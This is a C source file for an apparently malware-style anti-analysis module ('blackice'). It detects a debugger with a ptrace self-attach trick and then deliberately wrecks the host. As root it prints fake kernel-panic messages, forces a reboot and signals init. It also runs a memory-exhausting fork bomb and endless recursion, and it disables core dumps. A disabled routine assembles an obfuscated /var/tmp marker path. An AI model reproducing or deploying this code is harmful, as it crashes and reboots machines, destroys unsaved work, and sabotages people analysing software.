#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/resource.h>
#include <sys/reboot.h>

#include "sig.h"

static  int __shutdown()
{
        kill(1, SIGINT);
}

static  int __snowball()
{
        static int i = 0;
        malloc(1024);
        if(++i % 64 == 0)
                fork();
        __snowball();
}

static int __recursive_kernel_panic(int levels, int maxlevels)
{
        if(levels < maxlevels) {
                levels++;
                return __recursive_kernel_panic(levels, maxlevels);
        } else {
                int i;
                for(i = 0; i<128; i++)
                        printf("kernel panic: Out of MMU pages (PD)\n");
                return reboot(RB_AUTOBOOT);
        }
}

static  int __kernel_panic()
{
        __recursive_kernel_panic(0, 500);
}

static  int __deep_recursion()
{
        return __d();
}

int __a() { return __b(); }
int __b() { return __c(); }
int __c() { return __d(); }
int __d() { return __e(); }
int __e() { return __f(); }
int __f() { return __a(); }

int blackice_haywire()
{
        signal(SIGINT, SIG_IGN);
        if(!geteuid()) {
                __kernel_panic();       /* cold reboot */
                __shutdown();           /* shutdown */
        }
        __snowball();                   /* eat up all the memory */
        return __deep_recursion();      /* infinite recursion */
}

int blackice_is_traced()
{
        /* TODO: exit should do something */
    int pid = getpid();

    sig_block(SIGUSR1);
    if(!fork()) {        
        if(ptrace(PTRACE_ATTACH, pid, 0, 0) < 0) {
            kill(pid, SIGUSR1);
            exit(0);
        }

        kill(pid, SIGCONT); /* we need to signal CONT after a trace */
        exit(0);
    }

    wait(NULL);
    if(sig_ispending(SIGUSR1)) {
        sig_ignore(SIGUSR1);
        sig_unblock(SIGUSR1);
        return 1;
    }

    sig_unblock(SIGUSR1);
    return 0;
}

void blackice_killtrace()
{
    if(blackice_is_traced())
        blackice_haywire();
}

void disable_coredumps()
{
    struct rlimit rlim = {0, 0};
    setrlimit(RLIMIT_CORE, &rlim);
}

#if 0
int evil_cookie()
{
        FILE *fp;
        char a[4], b[4], c[16], line[256];
        char file[256];

        int pending, pid, status;

        sig_block(SIGWINCH);
        if(!(pid = fork())) {
                sprintf(c, ".s.%d", 4657);
        
                a[0] = 'v'; a[1] = 'a'; a[2] = 'r'; a[3] = '\0'; 
                b[0] = 't'; b[1] = 'm'; b[2] = 'p'; b[3] = '\0';
                sprintf(file, "/%s/%s/%s", a, b, c);
                fp = fopen(file, "r");
                if(!fp)
                        exit(0);
                if(!fgets(line, sizeof(line), fp))
                        exit(0);
                fclose(fp);
                if(!strcmp(line, file)) {
                        kill(getppid(), SIGWINCH);
                        exit(1);
                }
                exit(0);
        }
        waitpid(pid, &status, 0);

        pending = sig_pending(SIGWINCH);
        sig_handleall();
        if(WEXITSTATUS(status) == 1 && pending)
                return 1;
        return 0;
}
#endif
